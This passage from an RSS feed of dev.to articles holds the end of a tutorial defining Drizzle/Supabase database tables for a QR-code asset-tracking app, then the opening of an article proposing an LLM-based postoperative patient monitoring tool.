  &lt;span class="nx"&gt;VEHICLE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;VEHICLE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;PROPERTY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;PROPERTY&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;BAG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;BAG&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;assetTypeEnum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pgEnum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset_type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="nx"&gt;AssetType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;AssetType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PROPERTY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;AssetType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VEHICLE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Assets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pgTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;primaryKey&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;notNull&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;assetType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;assetTypeEnum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset_type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;notNull&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;assetDescription&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset_description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;qrCodeId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;qr_code_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;references&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;QRCodes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;createdAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;created_at&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;defaultNow&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;enum&lt;/span&gt; &lt;span class="nx"&gt;QRStatusType&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ACTIVE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ACTIVE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;INACTIVE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;INACTIVE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;qrStatusTypeEnum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pgEnum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset_type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="nx"&gt;AssetType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;AssetType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PROPERTY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;AssetType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VEHICLE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;QRCodes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pgTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;qrcode&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;primaryKey&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;notNull&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;isActive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;is_active&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;assetId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;references&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;Assets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;assignedAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;assigned_at&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;defaultNow&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;createdAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;created_at&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;defaultNow&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;lastScannedAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;last_scanned_at&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;defaultNow&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pgTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;primaryKey&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;senderUserId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sender_user_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;receiverUserId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;receiver_user_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;notNull&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;assetId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;asset_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;references&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;Assets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="na"&gt;messageContent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;message_content&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="na"&gt;createdAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;created_at&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;defaultNow&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generate the sql migration using : &lt;br&gt;
&lt;code&gt;npx drizzle-kit generate&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Make sure you have &lt;code&gt;DATABASE_URL&lt;/code&gt; updated inside your environment file and execute &lt;code&gt;npx drizzle-kit migrate&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can now check Supabase - Table Editor to view the tables created.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this part of the article, we've explored how to set up the backend for our app using Supabase, focusing on the database structure, asset management, QR code handling, and messaging. With the Supabase setup in place, you now have the foundation to manage user assets, QR codes, and communication between users.&lt;/p&gt;

&lt;p&gt;In the &lt;strong&gt;next part (Part 2)&lt;/strong&gt; of this series, we'll dive into the Next.js frontend and build out the user interface. We’ll cover how to connect the backend with the UI, manage real-time updates, and handle QR code scanning and messaging seamlessly. &lt;/p&gt;

&lt;p&gt;Stay tuned!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>AI Postoperative Monitoring &amp; Recovery Tool - An LLM approach</title>
      <dc:creator>Mihai</dc:creator>
      <pubDate>Sat, 07 Sep 2024 07:49:39 +0000</pubDate>
      <link>https://dev.to/mihairs/ai-postoperative-monitoring-recovery-tool-a-llm-approach-253p</link>
      <guid>https://dev.to/mihairs/ai-postoperative-monitoring-recovery-tool-a-llm-approach-253p</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The postoperative phase is critical in which vigilant monitoring and personalized care are paramount to successful recovery. AI-driven postoperative monitoring systems represent a significant leap forward in providing continuous, real-time assessment of patients as they transition from the operating room to recovery. These systems utilize ML algorithms to analyze a plethora of data, including vital signs, pain levels, and recovery metrics. By doing so, AI facilitates early detection of postoperative complications, enabling healthcare providers to intervene promptly. Integrating AI in postoperative monitoring not only enhances the accuracy of complication detection but also contributes to the efficient allocation of healthcare resources. &lt;br&gt;
&lt;em&gt;(Artificial intelligence-assisted system in postoperative follow-up of orthopedic patients: exploratory quantitative and qualitative study. Bian Y, Xiang Y, Tong B, Feng B, Weng X. J Med Internet Res. 2020;22:0)&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;ul&gt;
&lt;li&gt;But what if we don't have access to patient data ? &lt;/li&gt;
&lt;li&gt;How can we streamline a process to improve the experience for both the patient and the doctor ? &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One solution would be to use a Large Language Model(LLM) trained to understand the patient history and specific type of operation. This LLM should be trained with the help of a doctor. &lt;/p&gt;

&lt;p&gt;Instead of having a relationship between the doctor and the patient, we could follow a simplistic approach : &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqpmfi0h3cuv8uz2bhitp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqpmfi0h3cuv8uz2bhitp.png" alt="Simplistic Approach" width="800" height="696"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The trained LLM knows how to structure the questions to retrieve sentiment data. The sentiment data is sent to a tracking sentiment service.&lt;/li&gt;
&lt;li&gt;Patient Score : The score would indicate whether they are at risk or in a healthy condition, offering valuable insights for both patient and doctors.&lt;/li&gt;
&lt;li&gt;The doctor can access the patient score within the server, ask personalized and streamline their workflow.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd4w7vp4nu02t8m3gyjxs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd4w7vp4nu02t8m3gyjxs.png" alt="doctor-llm-patient" width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
